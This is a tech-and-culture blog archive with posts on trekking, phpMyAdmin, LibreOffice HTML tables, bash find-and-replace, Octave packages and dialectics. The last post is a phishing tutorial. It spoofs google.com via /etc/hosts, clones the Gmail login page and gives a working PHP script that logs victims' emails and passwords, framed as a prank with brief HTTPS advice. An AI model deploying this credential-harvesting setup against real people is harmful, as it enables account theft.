Sunday, May 26, 2013

My date with the Mighty Savanadurga


by Monisha M Ganesh
19-05-2013
It was a cold pleasant morning, when I set out for what was supposed to be my first ever trek. I was going to scale the mighty Savandurga hill. I knew it was going to be really very exciting and quite naturally was curious about it. The day looked promising. It was not just another normal day.

I reached Kempegowda Bus Terminus at around 7 a.m., and the crowd there did not interest me this time. Any other time I would’ve landed in K.B.S., the never ending crowd and the fleet of buses waiting there would’ve crossed my mind. But that day, I was on a mission. I was not bothered about anything other than the trek. I knew, I would meet different people from different zones and make new friends all through the trek and the very thought, made me happy. Once a few of us gathered at the Majestic Bus Terminus, we proceeded with the trek.

As we began our travel, the weather and the scenery around were enthralling. It was as if the trees and the plants there were greeting us. At the end of the journey to Savandurga, all the unknown people were well known. Standing at the foot of that gigantic Savandurga hill, we looked like Lilliputians. For a minute I just wondered whether we could make it to the top. Without any further delay, we started the trek.

Every step motivated us to reach the acme of the hill. As I was climbing, a look backward scared me at times. But I was so keen on moving ahead that I did not bother looking behind. We took short breaks on the way. The sweet lime which I am not really very fond of, tasted the best at that time. Apart from the casual talks, it was the glucose powder that egged us on. As we were scaling a dry peak, the very sight of water made us go crazy. 
 
After two hours of exhaustive trek, we finally reached the pinnacle of the peak. I got a different view of the World from up there which I had never seen before. I wished I could make the time pause right there. Once we settled down there, and then began the most important phase of our trek. We had actually gathered there to discuss about the summer camp which is scheduled to take place in the month of July. Then it was time for some general discussions. Most of the speakers there instantaneously spoke on few general topics which later led to discussions. An hour passed by. Even though we did not want to leave, it was time. The discussions there were a preview of what could be expected at the summer camp. The enthusiasm level just shot up. I walked down hoping to experience another fun filled trip soon. And at the end, the day was way better than I expected it to be. I went back home with another memorable page ready to be penned down in my diary.



Sunday, March 31, 2013

How to change file upload size in phpmyadmin!

For lesser mortals in the universe of databases, who still inadvertently use lot of MySql, a tool like PHPMyadmin is the holy grail!

This web browser based, php querier accesses MySql tables and also gives tremendous functionalities to tinker with the databases. While most of it is intuitive, sometimes a small feature requirement needs the options beyond the defaults.

Before I delve into these non-default configurations, just for the record, here is how you get your phpmyadmin to access your mysql tables on your Debian based machines.

fsmk@gnu:~$ sudo apt-get install phpmyadmin

Once, you have installed, as a dependency Apache also gets installed. To access phpmyadmin, open your favourite web browser and type on "http://localhost/phpmyadmin"

Now, that settled let me get into the issue of the post.
SQL backup, taken from different servers or simply for the purpose of backing up data are the most precious files on my computer, at least. Now, to move in and out of different machines with the mysql data, phpmyadmin offers a cool import/export option.

While export is flawless, import has a default option which restricts the maximum file upload size to 2M. Once you encounter sql's which are more than 2M you know you are handling quite a lot of data, and in such cases how to restore these >2M files?

The configuration file for the phpmyadmin which checks this option is a php.ini file, which resides in the /etc/php5/apache2/ directory.



Get hold of this file, and search for "upload_max_filesize" in the php.ini file. After you've got it change it to whatever that your maximum file size might be.
Restart your apache service to upload those massive sqls into your database.

Sunday, March 17, 2013

Embeding long tables in plain HTML, using Libre Office

When using plain HTML for design of web pages, and there aren't any WYSIWG editors, and there is an inevitable requirement to embed tables into the HTML file, the <table> tag is quite handy.

<table border="1">
<tr>
<td><b>Movie</b></td>
<td><b>Favourite character</b></td>
</tr>
<tr>
<td>The Matrix</td>
<td>Neo</td>
</tr>
<tr>
<td>The Lord of the Ring</td>
<td>Eragon</td>
</tr>
<tr>
<td>V for Vendetta</td>
<td>Ivy</td>
</tr>
</table>

Will result in


For a table with couple of entries and default options, this syntax follows, and is adequate.

But, when one has to embed a longer table, with many more rows and columns and don't ask me why! Just in case, you find yourself in such a state that you have a complete table existing already in your document or spreadsheet and you do not have the patience or the in-aptitude to type out all of it using the syntax shown above, Libre Office (or even Open Office) comes to rescue!

Copy the entire table that you want to embed in a HTML file, and paste it into a new HTML document that you can create from the Libre Office prompt. Once you are done formatting your new table in a Libre Office HTML file, save it as a .html file.



All you now have to do is, locate the new .html file you created using Libre Office and open it with your favourite text editor!

It is a HTML file now with all the taggings done for your table, which otherwise would have taken painstaking hours of labour to reach that form! Copy-Paste the HTML code into your webpage that you started off wanting to embed a table.
It's ready!

Libre, set me literally free this time!

Happy hacking!
PS: Of course there might be better methods to accomplish this, if you do have one please post it as a comment :) 

Tuesday, March 12, 2013

Find,replace in multiple files using BASH

Another of those zillions of tweaks that I am afraid will slip out of my head! So jotting it down here.

When you are editing HTML files, or some similar content template with multiple changes to be done in a huge number of files, it is simply excruciating to dig into each of the files and search for a pattern and change it.

For instance, if you have a host of html files, and you need to maybe make one common change in all files, the simplest thing to do is use the power of BASH!

To change a string, recursively in multiple files, use the following command.

raghav@fossphosis:~$grep -rl 'old-string' ./ | xargs sed -i 's/old-string/new-string/g'

'grep' as always performs pattern matching
'sed' is used as the stream editor

Old-string is the string to be changed, into new-string.

May the power of BASH be yours!
GNU Rocks.

Monday, February 11, 2013

Installing additional packages in GNU Octave

 Guest post by Sneha Das, BMSIT, FSMK

Octave is a versatile computational tool, with multi-faceted functionality. To make the fullest use of this tool, there are various packages that needs to be installed. The packages in octave are equivalent to toolboxes in matlab.

To install octave packages

  • If the desired package to be installed is available in the ubuntu repository, then
    - open the terminal
    - type 'sudo apt-get install octave-name; name is the name of the octave package. If the
    install is unsuccessful, errors appear in the terminal. Else nothing appears.

If the package is not there in the repository
  • Download the package's .tar.gz file from http://octave.sourceforge.net/packages.php
  • Don't extract the .tar.gz file.
  • Open Octave by typing 'sudo octave' in the terminal.
    - the working directory should be the directory where the file is stored.
    So type 'cd directory' to change the working directory.
    - Then install the package by typing the command 'pkg install name.tar.gz'

Tuesday, August 28, 2012

The idea of Dialectics

By Aruna

The idea of Dialectics, though not new is not something familiar. I was quite intrigued by the idea of a discussion on Dialectics, and the same turned out to be a discussion on several things, relevant to and far from dialectics. The initial presentation was simple, to the point and a nice introduction to the various dialectic laws that can be applied. It was quite fascinating to imagine that individual, scattered events in one person's life are repeated with surprising similarity in almost everybody's life in the world; what I absorbed was that there are a few laws which dictate how our social lives span out, how all our social lives span out. There is a certain logic and order to the world and dialectic tries to define this order using a series of almost irrefutable laws.

 In the discussion, something that I was trying to grasp was that the proof of dialectics is influenced greatly by how one approaches the situation or matter at hand. On the one hand there might be a certain statement that seems to defy dialectics but when seen from another perspective conforms willingly; while dialectic defines a series of laws, it does not define how one must approach these laws- in which situation, in what order, under what circumstances; as a newbie this confounded me the most. (I am talking about the 1+1=2 problem)

Some questions I have -
*Are there only finite areas that dialectics can help explain, or is it all encompassing?
*Further, unlike the singularity that science and logic demand, there are several ways to look at dialectics, what is the right way? Or is there no such thing as the right way? If there is no such thing as a right way, are we not fooling ourselves by reading these laws as being absolute?
*Doesn't every work of literature or the arts or even the simple act of thinking not use dialectics in some way?

I definitely want to understand dialectics better, but I would love to learn about it through examples - maybe movies that refute or support a dialectic claim, maybe a story, a song, a novel. The study of the laws, merely as themselves, would be far more interesting if discussed and debated as a group. I cannot imagine reading Engel's or Hegel's several observations all by myself, and subsequently trying to implement them. I would give up before learning, and that would be such a pity.

 While my interest in dialectics has been kindled, it has not established itself soundly enough for me to sense the presence of dialectics all around me, this is something that I am hoping will happen when we have more meetings, and I can't wait!

Monday, July 23, 2012

How to phish and not to get phished



With the increase in commercial transactions online and a whole lot of information online, the need to secure it also increases because it is still people on the Internet and the sense of security and insecurity is innate to our interactions.

Phishing (of course,read it as fishing :P) is one of the most treacherous menaces which could have really bad ramifications -  loss of money, passwords and compromise of sensitive information.

In this post, I show how the simplest phishing trick is performed (thanks to Vignesh T Prabhu for showing me this trick), so that avoiding it can also be made effective. This trick is an offline version, and it takes simple extra gyaan to put it online.

Based on my experience with the audience I have been dealing with, I will touch upon some fundamentals like DNS, Apache Webserver, GNU/Linux directory structure and some bit of coding.

DNS Server:

Domain Name System servers are lookup tables used to map URLs to IP addresses ( a more elaborate post about it here).
For our trick here, we will need only to know that the fist level of name resolution in a GNU/Linux machine happens in the file /etc/hosts.
All GNU/Linux machines have first level DNS resolution here and standard entries might look like this :


Because in Phsihing we purport to be a webpage we are not, I usually add use the localhost as the webserver.
For instance, you could try ping google.com and it might yield a reply from a specific IP address as shown below


Here the name resolution is happening for google.com to 74.125.236.206
I our case I will try to make the localhost as google.com, for example.
Then add this entry in the /etc/hosts file

sudo nano /etc/hosts (to edit the file)
and append
google.com     127.0.0.1
save it.
where 127.0.0.1 is one of the loopback ethernet interfaces.

Now try pinging google.com, and the reply looks like this




Apache Webserver

The awesomeness of running a GNU/Linux box is in the fact that you have a "server" with you - an almost full fledged server. For our hack here, we need to be running a webserver and who else but the master of all webservers Apache runs like a charm on any GNU/Linux distro.

Install Apache (in debian based OS)

sudo apt-get install apache2

Once installed, check if the server is running - open a web browser and enter localhost, and the default page must be as shown below:


Now, also try entering google.com in the browser and it should land on the same default webpage


Now, we're ready to phish.

HTML file:

Log on to the google mail login page, and copy the source code (ctrl+u to view source code) of the file into a text document.

Find the action field and replace the google authentication URL with "phishing.php" (a php script we will be using to phish)
Save the html file as something relevant, for example login.hmtl

PHP script:

Here's a simple PHP script which will capture the login name and password on the phishing page and redirect to original authentication page.

<html>
<body>
<?php
$handle=fopen("Password.txt","a");
fwrite($handle,$_POST["Email id:"]);
fwrite($handle,"\n");
fwrite($handle,$_POST["Password:"]);
fwrite($handle,"\n");
fwrite($handle,"\n");
fclose($handle);
header("Location:https://www.google.com/accounts/ServiceLoginAuth");
exit;
?>
</body>
</html>


PHP script, save it as phishing.php

Create an empty text document password.txt.

Now, copy the three files login.html, phishing.php and password.txt to the default web server location /var/www

sudo cp login.html phishing.php password.txt /var/www

The password.txt file needs to have write permissions by the phoshing.php script - a easy and lazy way to do it is

sudo chmod 777 /var/www/password.txt

Now, you can dupe any of your friends for a prank and get them login to their google mail account and check the password.txt file to know their password, without them having a doubt of what has occurred.

The solution:

HTTPS browsing is the safest means of web browsing, and a quick verification of certificates would reveal us the real identities of these webpages.

For, the original google mail page will have an SSL certificate signed and verified, where as the phishing script won't.
Use https everywhere by EFF to avoid most of the attempts :)
Phishing page without secure connection and a warning

Secure login page with SSL certification